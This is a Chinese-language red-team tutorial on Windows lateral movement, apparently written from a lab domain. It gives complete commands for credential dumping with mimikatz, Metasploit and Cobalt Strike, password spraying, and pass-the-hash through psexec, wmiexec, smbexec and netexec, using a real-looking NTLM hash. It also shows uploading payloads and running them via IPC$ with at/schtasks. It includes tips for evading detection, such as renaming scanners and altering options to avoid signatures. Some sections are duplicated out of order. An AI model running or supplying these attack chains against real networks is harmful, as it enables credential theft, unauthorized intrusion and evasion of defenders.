proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk "ipconfig"
# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]
# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
若是需要域环境,则取消掉 --local-auth,并可以通过 -d qiaoshen.local 指定域名称。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk
proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图
3)PTT
总述
本文讲解了 横向移动 当中 利用 系统工具 实现 横向移动的相关方法的总结。
神
横向移动大致上可以分为两类:
1. 通过内网的跳板机,利用漏洞攻击其他的内网主机,拿下其他内网主机的 Shell 落地,实现内网横移。
2. 通过信息收集得来的相关凭证信息,通过已有凭证的方法进行横向移动。
1. 凭据校验 - 获得正确的凭证
1. 密码喷洒。
2. PTH
3. PTT
2. 凭据利用
1. Windows 原生
1. IPC
2. smbclient
1. IPC + AT + Schtasks
2. IPC + sc
3. WMIC
4. WinRM
2. 协议类
1. RDP
2. SSH
3. SMB
我都有凭据了,为什么还要用上面说的那五种 凭据利用 的方式呢?
因为:
1、 RDP/SSH 登录容易被 SOC 检测(有人突然开交互式会话)。
2、 RDP 可能没开,WinRM 可能被关,SSH 未必装。
本文主要讲解的为 第二种 - 通过信息收集的相关凭据信息,利用这些讲解的手法实现 横向移动;因为 第一种 本质上其实就是属于 漏洞利用 而已,只是利用漏洞的结果是 实现了横向移动。

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。
横向移动有三个主要阶段:
1、侦察(主机信息收集、内网网络结构信息收集) - 确定目标
2、凭据/特权收集(主机密码凭证) - 确定凭据
3、对网络中其他计算机的访问权限 - 横向移动

1、内网信息收集 - 目标确定
1. 系统命令
仅通过系统自带的相关 命令 及 功能 进行 信息收集 收集 其他主机 的 内网IP 信息,帮我们锁定目标。
1)ARP缓存信息
查看本机存储的相关的 arp 缓存表。
arp -a

2)DNS 缓存查询
查看内网的 DNS 服务器,并且很多时候通过内网的 DNS 服务器还能判断当前主机是否在 域 环境当中,以及如果是的话,通过查询 DNS 服务器的方式,顺便直接定位 域控的名称 和 域控ip 了。
ipconfig /displaydns


3)本地 Host 文件
很多时候其实都忘了查看本地的 hosts 文件了,这个文件也是非常重要的,有时候包含了非常多的信息。
type C:\Windows\System32\drivers\etc\hosts

2. 工具
# Fscan
https://github.com/shadow1ng/fscan
# Kscan
https://github.com/lcvvvv/kscan
# dismap
https://github.com/zhzyker/dismap
原则
0. 工具分工合作,根据工具自身的优势专项的 仔细使用。
1. 安静
2. 不被发现
3. 尽量用正常的协议
4. 尽量用改造过的⼯具
dismap:
Web 资产扫的很好,也会带一些漏洞利用、指纹提取、协议、端口 等等。最常用于扫 Web。
Fscan:
扫服务、端口、一些普通的漏洞,但是我们 Fscan 都是二开的并且会很仔细的去用它,而不是一上来就当作默认的方式。
Kscan:
在内网当中去找存活,找完存活就不用了。
此处以 Fscan 进行相关的举例:
1. 根据不同的需求定向的使用命令进行操作的实现,而不是直接无脑的全扫,否则会让安全设备大量的告警,一下就被发现了。
2. 进行了二开,文件名肯定不为 fscan,而是改为正常的这种文件名进行掩盖,并且相关的选项也进行了修改,避免相关的 命令正则匹配检测,一下就被抓到了。
3. 禁 ping。
1. Fscan
1)主机发现(存活探测)
# fscan
mysql.exe -i 192.168.3.0/24 -np -m netbios

2)定向扫描 MS17-010 漏洞
# fscan
mysql.exe -i 192.168.3.0/24 -np -m ms17010

3)特殊端口资产扫描
# fscan
mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,6379

4)其他主机标签识别
这个命令的作用是:快速扫描 192.168.3.0/24 网段内的存活主机和开放端口等基础资产信息(不进行漏洞检测和密码爆破),并将结果保存到 res.txt 文件中。适合用于内网资产的初步探测。
# fscan
mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt
-np:禁用 ping 探测(不使用 ICMP 协议检测主机是否存活)。
-nobr:禁用爆破功能(不尝试对主机的账号密码进行暴力破解)。
-nopoc:禁用 POC 检测(不检测系统或应用程序的漏洞利用 POC)。
-o res.txt:将扫描结果输出到 res.txt 文件中。

2. Cobalt Strike
1)梼杌


SharpOXID-Find 是用 .NET (通常是 .NET Framework 4.x) 编写的。
环境不正确。
| Windows Server 2008 R2 | .NET Framework 3.0 |

2)mingy-Qiao

Ladon


SharpWebScan

环境不正确。
| Windows Server 2008 R2 | .NET Framework 3.0 |

Fscan




3)神龙拉冬

Ladon
OnlinePC


ICMP


2、凭据信息收集
详见 - 1信息收集 - 主机级 - 密码获取 - Windows 密码凭据获取、域环境密码获取。
本文仅简单回顾一下最常用的方法。
1. Mimikatz
1、本地交互式
1)winlogon.exe - 明文 + hash
读取本地已登录进行过 且 通过 了的相关的用户凭证的获取 - winlogon.exe 是提供的密文密码,我们可以尝试获取相关的明文密码。
# 运行mimikatz
mimikztz.exe
# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
privilege::debug
# 记录日志
log re.txt
# 抓取登录密码
sekurlsa::logonpasswords
(
# 域环境下使用 dcsync 权限尝试与 KDC 进行同步。
lsadump::dcsync /domain:qiaoshen.local /all /csv
)
# 退出 Mimikatz
exit
mimikatz.exe "log 1.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"



2)lsass.exe - hash
读取 SAM 数据库文件当中存储的密码密文的 NTLM Hash 的值。
# 运行mimikatz
mimikztz.exe
# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程
privilege::debug
# 提升当前进程的令牌权限,使其具有管理员级别的访问权限。
token::elevate
# 记录日志
log res.txt
# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。(读取本地的 SAM,因此仅有本地的)
lsadump::sam
# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
lsadump::secrets
mimikatz.exe "log 2.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"



2、本地非交互式
我们有某台 Windows 主机的权限,但是并非是 cmd 这样命令行窗口 样式的 交互式 shell,那么针对这种情况,我们就可以一条命令实现信息收集并将结果保存到某个文件当中,我们直接再去读取那个文件即可。
# 执行命令并记录日志
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

2. MSF
1、Meterpreter - Hashdump
这个模块会尝试从内存中提取 Windows 系统的密码哈希。
hashdump 需要 administrator 权限。
post/windows/gather/hashdump 模块需要 SYSTEM 权限。
run post/windows/gather/hashdump
# smart_hashdump 是一个更先进的模块,它使用不同的技术来提高获取哈希的成功率。
run post/windows/gather/smart_hashdump



2、Meterpreter - mimikatz
kiwi 是 Meterpreter 中 Mimikatz 的加载模块,它允许直接在 Meterpreter 会话中使用 Mimikatz 功能。
1)加载 mimikatz - load kiwi
# 加载mimikatz模块
load kiwi
# 查看模块功能帮助
help kiwi
| 命令 | 中文解释 |
|---|---|
| creds_all | 检索所有凭据(已解析) |
| creds_kerberos | 检索 Kerberos 凭据(已解析) |
| creds_livessp | 检索 Live SSP 凭据 |
| creds_msv | 检索 LM/NTLM 凭据(已解析) |
| creds_ssp | 检索 SSP 凭据 |
| creds_tspkg | 检索 TsPkg 凭据(已解析) |
| creds_wdigest | 检索 WDigest 凭据(已解析) |
| dcsync | 通过 DCSync 检索用户账户信息(未解析) |
| dcsync_ntlm | 通过 DCSync 检索用户账户的 NTLM 哈希、SID 和 RID |
| golden_ticket_create | 创建黄金 Kerberos 票据 |
| kerberos_ticket_list | 列出所有 Kerberos 票据(未解析) |
| kerberos_ticket_purge | 清除所有正在使用的 Kerberos 票据 |
| kerberos_ticket_use | 使用 Kerberos 票据 |
| kiwi_cmd | 执行任意 mimikatz 命令(未解析) |
| lsa_dump_sam | 转储 LSA SAM(未解析) |
| lsa_dump_secrets | 转储 LSA 机密(未解析) |
| password_change | 更改用户的密码 / 哈希 |
| wifi_list | 列出当前用户的 WiFi 配置文件 / 凭据 |
| wifi_list_shared | 列出共享的 WiFi 配置文件 / 凭据(需要 SYSTEM 权限) |

2)列举系统中的密码(明文 + hash) - creds_all
creds_all

3)读取 sam 文件
lsa_dump_sam

4)使用 mimikatz 原生 命令行 - kiwi_cmd
# 查看基础命令
kiwi_cmd -h
# 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
kiwi_cmd ::
# 从 Windows 的 sam 文件中读取密码 hash 值
kiwi_cmd lsadump::sam
# 获取明文密码
kiwi_cmd sekurlsa::logonpasswords
其他的 mimikatz 原生命令同理。



3. Cobalt Strike
1)hashdump
hashdump


2)Logonpasswords
logonpasswords 命令尝试从当前会话中获取当前登录用户的明文密码。
logonpasswords


3)Mimikatz 集成
CobaltStrike 集成了 Mimikatz,可以直接在 beacon 会话中运行 Mimikatz 命令。
# 获取当前会话的明文密码
mimikatz sekurlsa::logonpasswords
# 读取 Windows 的 SAM 数据库并转储密码哈希
mimikatz lsadump::sam
其他 mimikatz 原生命令同理



CobaltStrike凭证视图


3、凭据验证
1)密码喷洒
可以指定字典 - 也就是暴力破解:
1. 已知完整凭据 - 平局喷洒
2. 已知密码 - 爆破用户名
3. 已知用户名 - 爆破密码
4. 爆破 服务 - SMB、wmi...
因此我们在喷洒之前,需要先确定好目标的相关 密码基线 的情况,是否有相应的失败错误的锁定机制,要是全面影响业务就 GG 了。
1. Crackmapexec

--local-auth 说明是在本地用户的喷洒,不加 --local-auth 默认为 域内用户的喷洒。
crackmapexec smb HOST -u Username -p password --local-auth --command
# 单 IP
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --users
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --shares
# IP 段
crackmapexec smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth
# 文件
crackmapexec smb targets.txt -u administrator -p '1qaz@WSX' --local-auth




2. Cobalt Strike
需要已经有过权限才能在 CS 上进行 PTP(Pass The Password)

2)PTH
其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。
是域环境当中 横向移动的 核心方法。
但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。
攻击原理
1. NTLM认证机制:
- Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
- 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。
2. 哈希重用特性:
- 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
- 攻击者获取的哈希值可在整个域环境中重用。
3. 协议设计缺陷:
- NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
- 服务器无法区分哈希值是来自合法计算还是被窃取的。
前提条件
1. 获取有效的密码哈希值
-
必须已获取目标用户的 NTLM 或 LM 哈希值
-
常见获取方式:
- 内存提取(如LSASS进程)
- SAM数据库提取
- 域控制器上的NTDS.dit文件
- 网络嗅探NTLM认证流量
2. 目标系统使用NTLM认证
-
目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效
-
常见支持NTLM的服务:
- SMB文件共享
- RDP远程桌面(需特殊配置)
- Windows远程管理(WinRM)
- IIS Web应用(配置NTLM认证时)
3. 网络可达性
-
攻击者必须能够通过网络访问目标系统
-
相关端口必须开放:
SMB: 445/TCP
RDP: 3389/TCP
WinRM: 5985/5986(TCP)任意一个开启即可尝试 PTH。
4. 账户权限
-
使用的哈希值对应的账户在目标系统上需要有足够的权限
-
常见有效目标账户:
- 本地管理员组成员
- 域管理员组成员
- 具有远程登录权限的账户
KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
攻击流程
1. 信息收集阶段:
- 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
- 识别网络中的其他可访问系统。
2. 哈希传递阶段:
- 使用获取的哈希值尝试对其他系统进行身份验证。
- 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。
3. 权限提升与横向移动:
- 成功验证后,在目标系统执行命令。
- 进一步收集新系统的哈希值,继续横向移动。
4. 目标达成:
- 获取域管理员等高权限账户哈希。
- 控制整个域环境。

利用
1)工作组 PTH
1. MSF
psexec 横向移动
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set rhosts 10.10.10.20
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run


2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以





# 核心本质解析
rev2self
# 还原token令牌
pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"
jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload
beacon> rev2self
[*] Tasked beacon to revert token
beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command
beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
| PID 4012
| TID 1172
| LSA Process is now R/W
| LUID 0 ; 6146101 (00000000:005dc835)
\_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
\_ kerberos - data copy @ 000000000161E8E8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"
# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk
# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk




smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk
# 执行命令
smbexec 不能直接执行命令。


4. netexec
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami





wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)
# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}


5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用
域环境 PTH
1. MSF
psexec
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set smbdomain qiaoshen.local
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk "ipconfig"
# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]
# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk
proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图
3)PTT
4、横向移动
1. 系统内置工具
1)IPC$ 方法
IPC$ (Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
利用 IPC$,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。
使用条件
1. 开放了139、445端口
- 我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$ 连接是需要 139 或 445 端口来支持的。
- IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。
- IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实现文件共享。
2. 目标开启 IPC$ 文件共享服务及默认共享
- 默认共享是为了方便管理员远程管理而默认开启的共享。
- 所有逻辑磁盘(c、d、e…)和系统目录 WINNT 或 WINDOWS(ADMIN),通过 IPC 连接可以实现对这些默认共享的访问。
3. 需要目标机器的管理员账号和密码
- 默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立IPC 连接。
- 本地的 Administrator 用户也可以,如果启用了该用户,那么也可以使用 Administrator 用户远程连接。
常用命令
- KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
- 因此连接的时候一定要用 administrator 进行连接,administrators 组当中的成员都不行,否则会一直提示 拒绝访问。
- 从 Vista/Win2008 开始,即使是本地 Administrators 组用户,远程访问共享时默认会被“降级”为普通用户令牌。


查看本地共享
# net share 只能查看自己的共享情况信息
net share
# 查看别人的需要用到 net view
net view \\目标主机IP
查看连接情况
net use


连接
net use \\10.10.10.30\C$ /user:username password
net use \\10.10.10.30\C$ /user:administrator 123456

查看目标主机时间
net time \\10.10.10.20

文件上传下载
# 查看
dir \\10.10.10.20\C$
# 上传
copy payload.exe \\10.10.10.20\C$\temp\payload.exe
# 下载
copy \\10.10.10.20\C$\temp\payload.exe C:\temp\payload1.exe


查看/删除/增加 共享的资源
# net share 只能查看自己的共享情况信息
net share
# 查看别人的需要用到 net view
net view \\目标主机IP
# 删除共享
net share C$ /del
# 增加共享
net share C$=C:\
# 查看相关帮助
net share /?



开放/关闭 IPC$ 共享
# 开放 IPC$ 共享
net share IPC$
# 关闭 IPC$ 共享
net share IPC$ /del

磁盘映射 - 映射共享磁盘到本地
net use z: \\10.10.10.20\C$ /user:administrator 123456


删除连接
net use \\10.10.10.20\C$ /del
net use * /del /y


IPC$ 连接失败 常见错误
| 错误号 | 描述 | 错误原因 |
|---|---|---|
| 5 | 拒绝访问 | 很可能你使用的用户不是管理员权限,先提升权限 |
| 51 | Windows 无法找到网络路径 | 网络有问题 |
| 53 | 找不到网络路径 | ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤) |
| 67 | 找不到网络名 | 你的 LanManWorkStation 服务未启动;目标删除了 ipc$ |
| 1219 | 提供的凭据与已存在的凭据集冲突 | 你已经和对方建立了一个 ipc$,请删除后再连 |
| 1326 | 未知的用户名或错误密码 | 用户名或密码错误 |
| 1385 | 登录失败:未授予用户在此计算机上的请求登录类型 | 可能是因为未授予用户登录类型 |
| 1792 | 试图登录,但是网络登录服务没有启动 | 目标 NetLogon 服务未启动,连接域控会出现此情况 |
| 2242 | 此用户的密码已经过期 | 目标有帐号策略,强制定期要求更改密码 |
利用
1. IPC$ + AT - 计划任务
0、AT 简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
AT命令在 windows server 2012 等新版系统中已被弃用。
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务。
问题:执行 at 命令时,显示绑定句柄无效。
解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts
注意:
AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是
无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
创建任务的任务名
AT1
AT2
AT3
使用 Schtasks 命令 却可以 查看、修改 AT 创建的相关任务。

1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX


2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

4、设定定时任务 - 执行 payload 实现上线
# 设定定时任务
at \\10.10.10.20 22:42:00 C:\temp\qiaoshen.exe
# 查看定时任务
at \\10.10.10.20


成功上线。

5、AT命令删除任务
at \\computer id /del
at \\10.10.10.20 1 /del

2. IPC$ + Schtasks - 计划任务
0、Schtasks 简介
由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。
注意:
AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是他们自己的相关计划任务并不互通,不能互相操作。
无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
也无法使用 Schtasks 命令 查看、修改 AT 创建的相关任务。
| 命令 / 参数 | 功能描述 | 补充说明 |
|---|---|---|
| /Create | 创建新计划任务 | 用于初始化一个新的计划任务配置,需配合其他参数(如任务名称、运行程序等)使用 |
| /Delete | 删除计划任务 | 执行后会移除指定的计划任务,通常需通过 /tn 参数指定要删除的任务名称 |
| /Query | 显示所有计划任务 | 运行后可列出当前系统中已创建的全部计划任务,便于查看任务列表及基本信息 |
| /Change | 更改计划任务属性 | 用于修改已存在计划任务的属性,例如任务运行频率、关联程序路径等,需指定目标任务(/tn) |
| /Run | 按需运行计划任务 | 无需等待任务的预设计划时间,手动触发指定计划任务立即执行,需通过 /tn 指定任务 |
| /End | 中止当前正在运行的计划任务 | 当某计划任务处于运行状态时,可通过此命令强制停止该任务,需指定目标任务(/tn) |
| /ShowSid | 显示与计划任务名称相应的安全标识符(SID) | 输入任务名称(配合 /tn)后,返回该任务对应的系统安全标识符,用于权限管理相关场景 |
| /sc | 指定计划类型 | 必需参数,用于定义任务的执行周期,有效值包括:MINUTE(按分钟)、HOURLY(按小时)、DAILY(按天)、WEEKLY(按周)、MONTHLY(按月)、ONCE(仅一次)、ONSTART(系统启动时)、ONLOGON(用户登录时)、ONIDLE(系统空闲时) |
| /mo | 指定任务在计划类型内的运行频率 | 对 MONTHLY 计划类型为必需参数;对 MINUTE、HOURLY、DAILY、WEEKLY 计划类型为可选参数,默认值为 1(即按计划类型最小单位执行,如 /sc DAILY /mo 1 表示每天执行) |
| /tr | 指定任务运行的程序或命令 | 若未填写程序路径,SchTasks.exe 会默认从 Systemroot\System32 目录下查找目标程序 |
| /tn | 指定任务的名称 | 用于标识计划任务的唯一名称,是 /Create、/Delete、/Change 等多数命令的核心关联参数,需确保任务名称唯一 |
| /? | 显示帮助消息 | 运行后列出所有 SchTasks.exe 命令及参数的详细说明,用于查询参数用法 |
# 创建任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码
# 运行任务
schtasks /run /tn task1 /s ip /U 域\域用户|用户 /P 用户密码
# 删除任务
schtasks /F /delete /tn task1 /s ip /U 域\域用户|用户 /p 用户密码
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX


2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

4、创建定时任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码
# 虽然此时 IPC 已连接,但远程操作 10.10.10.20 还是需要验证。
schtasks /create /tn qiaoshen /s 10.10.10.20 /RU SYSTEM /tr "cmd.exe /c C:\temp\qiaoshen.exe" /sc minute /mo 1 /U administrator /p 1qaz@WSX

5、查看定时任务
# 切换编码
chcp 65001
# 查看目标主机上的计划任务
schtasks /query /s 10.10.10.20 /tn qiaoshen /U administrator /p 1qaz@WSX
需要 chcp 65001 才能查看
不更改代码页编码,直接查看可能会显示如下错误:



CS 无法查看,因为 Cobalt Strike 无法 更改代码页编码。
不是一个长效的 保持连接的TCP_Shell,而是心跳包发送每一个任务,并不能连续。

成功上线。

6、删除计划任务
schtasks /delete /tn qiaoshen /s 10.10.10.20 /f
schtasks /delete /tn qiaoshen /s 10.10.10.20 /u administrator /p 1qaz@WSX /f
IPC$ + SC - 服务
0、SC 简介
